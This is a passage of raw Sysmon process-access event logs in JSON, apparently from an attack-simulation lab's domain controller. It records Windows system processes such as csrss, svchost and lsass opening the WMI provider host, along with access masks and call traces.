11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.350\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.350","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.350\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.350","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.365\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 3032\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x101541\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.365","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"3032","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x101541","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+43f7|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+15538|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+b920|C:\\Windows\\system32\\wbem\\wbemcore.dll+255ff|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+2685b|C:\\Windows\\system32\\wbem\\wbemcore.dll+22b78|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.365\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.365","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.365\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.365","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:58.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-405E-5F2D-0000-0010AAB60400}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:58.397\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-405E-5F2D-0000-0010AAB60400}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 